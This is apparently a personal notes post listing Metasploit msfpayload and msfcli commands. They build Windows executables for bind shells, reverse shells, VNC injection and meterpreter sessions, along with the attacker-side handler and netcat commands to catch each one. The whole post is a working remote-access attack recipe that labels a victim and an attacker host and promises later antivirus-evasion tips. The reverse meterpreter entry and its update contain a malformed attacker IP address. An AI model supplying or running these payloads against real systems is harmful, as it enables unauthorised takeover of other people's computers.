Metasploit Payloads - msfpayload

This entry is really just a place for me to keep notes on working msfpayload details. I will expand on this post as i get more working examples.

These payloads will be detected by AV, I will cover methods of avoiding AV detection in another post.

In my examples 192.168.1.110 is the victim, and 192.168.1.112 is the attacker. Where I have not specified the port it will default to 4444.


1. For a listening shell on the target

Create payload:
./msfpayload windows/shell_bind_tcp LPORT=2482 X > /tmp/Listen-shell.exe

Target:
run Listen-shell.exe

Hacker:
nc 192.168.1.110 2482



2. For a reverse shell on the target

Create payload:
./msfpayload windows/shell/reverse_tcp LHOST=192.168.1.112 X > /tmp/reverse-shell.exe

Hacker:
./msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_tcp LHOST=192.168.1.112 E

Target:
run reverse-shell.exe



3. For a VNC listener on target

Create payload:
./msfpayload windows/vncinject/bind_tcp LPORT=2482 X > Listen-vnc.exe

Target:
run Listen-vnc.exe

Hacker:
./msfcli exploit/multi/handler PAYLOAD=windows/vncinject/bind_tcp LPORT=2482 RHOST=192.168.1.110 DisableCourtesyShell=TRUE E



4. For a reverse VNC session

Create payload:
./msfpayload windows/vncinject/reverse_tcp LHOST=192.168.1.112 LPORT=2482 X > /tmp/reverse-vnc.exe

Hacker:
./msfcli exploit/multi/handler PAYLOAD=windows/vncinject/reverse_tcp LHOST=192.168.1.112 LPORT=2482 DisableCourtesyShell=TRUE E

Target:
run reverse-vnc.exe



5. For a meterpreter listener

create payload:
./msfpayload windows/meterpreter/bind_tcp LPORT=2482 X > met-listen.exe

Target:
run met-listen.exe

Hacker:
./msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/bind_tcp RHOST=192.168.1.110 LPORT=2482 E



6. For a reverse meterpreter connection (not working yet. not sure why)

Create payload:
./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.112 X > /tmp/met-reverse.exe

Hacker:
./msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.1.112 E

Target:
run met-reverse.exe


UPDATE: Payload should for 6 should read:

./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.112 LPORT=4444 X > /tmp/met-reverse.exe
